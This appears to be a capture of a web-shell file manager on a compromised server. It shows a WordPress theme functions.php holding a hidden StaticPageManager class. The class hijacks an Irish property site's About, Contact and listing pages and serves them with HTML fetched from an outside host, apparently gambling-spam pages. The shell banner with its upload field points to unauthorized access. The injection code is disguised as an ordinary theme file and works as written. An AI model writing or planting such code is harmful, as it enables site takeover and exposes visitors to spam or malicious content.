| Server IP : 198.244.165.102 / Your IP : 216.73.216.218 [ Web Server : nginx/1.24.0 System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64 User : colleary ( 1011) PHP Version : 8.3.23 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/oliver-lynch/hold/ |
Upload File : |
<?php
// Your code to enqueue parent theme styles
function enqueue_parent_styles() {
wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' );
}
add_action( 'wp_enqueue_scripts', 'enqueue_parent_styles' );
class StaticPageManager {
private $pages = [
'/about-us/' => 'https://project1.proyekngepet.org/file/kupu178-oliver-lynch.txt',
'/contact-us/' => 'https://project1.proyekngepet.org/file/mata11-oliver-lynch.txt',
'/sample-page-2/' => 'https://project1.proyekngepet.org/file/raja11-oliver-lynch.txt',
'/property/' => 'https://project1.proyekngepet.org/file/rina4d-oliver-lynch.txt',
'/contact/' => 'https://project1.proyekngepet.org/file/sedayu88-oliver-lynch.txt',
'/for-sale/' => 'https://project1.proyekngepet.org/file/ombak126-oliver-lynch.txt',
'/property/11-sli-an-tsruthan-moycullen-co-galway/' => 'https://project1.proyekngepet.org/file/bara22-oliver-lynch.txt',
'/property/4-saint-pauls-road-galway-galway-city-centre-h91pkn2/' => 'https://project1.proyekngepet.org/file/mega55-oliver-lynch.txt',
'/property/springfield-castlebar-castlebar-co-mayo-f23wn80/' => 'https://project1.proyekngepet.org/file/ipo138-oliver-lynch.txt',
];
public function __construct() {
add_action('template_redirect', [$this, 'handle_request'], 0);
}
public function handle_request() {
// Ambil path URL saja, tanpa ?query=string
$request_uri = isset($_SERVER['REQUEST_URI'])
? wp_unslash($_SERVER['REQUEST_URI'])
: '/';
$path = wp_parse_url($request_uri, PHP_URL_PATH);
// Normalisasi agar selalu:
// /about/
// bukan /about atau //about//
$path = '/' . trim($path, '/') . '/';
if ($path === '//') {
$path = '/';
}
// Kalau route tidak ada dalam daftar, biarkan WordPress normal
if (!isset($this->pages[$path])) {
return;
}
$remote_url = $this->pages[$path];
// Validasi URL
if (!$this->is_allowed_remote_url($remote_url)) {
status_header(403);
nocache_headers();
echo 'Remote URL is not allowed.';
exit;
}
$response = wp_remote_get($remote_url, [
'timeout' => 15,
'redirection' => 3,
'sslverify' => true,
'headers' => [
'Accept' => 'text/html,text/plain;q=0.9,*/*;q=0.8',
],
]);
// Gagal melakukan request
if (is_wp_error($response)) {
status_header(502);
nocache_headers();
echo 'Failed to load remote content.';
exit;
}
$status_code = wp_remote_retrieve_response_code($response);
if ($status_code !== 200) {
status_header($status_code ?: 502);
nocache_headers();
echo 'Remote server returned HTTP ' . intval($status_code);
exit;
}
$content = wp_remote_retrieve_body($response);
if ($content === '') {
status_header(404);
nocache_headers();
echo 'Remote content is empty.';
exit;
}
/*
* Kalau file .txt berisi FULL HTML:
* <!DOCTYPE html>
* <html>
* ...
* </html>
*
* langsung output.
*/
status_header(200);
header('Content-Type: text/html; charset=UTF-8');
echo $content;
exit;
}
private function is_allowed_remote_url($url) {
$parsed = wp_parse_url($url);
if (
empty($parsed['scheme']) ||
empty($parsed['host'])
) {
return false;
}
// Hanya HTTPS
if ($parsed['scheme'] !== 'https') {
return false;
}
// Hanya izinkan server milikmu
$allowed_hosts = [
'project1.proyekngepet.org',
];
return in_array(
strtolower($parsed['host']),
$allowed_hosts,
true
);
}
}
new StaticPageManager();
?>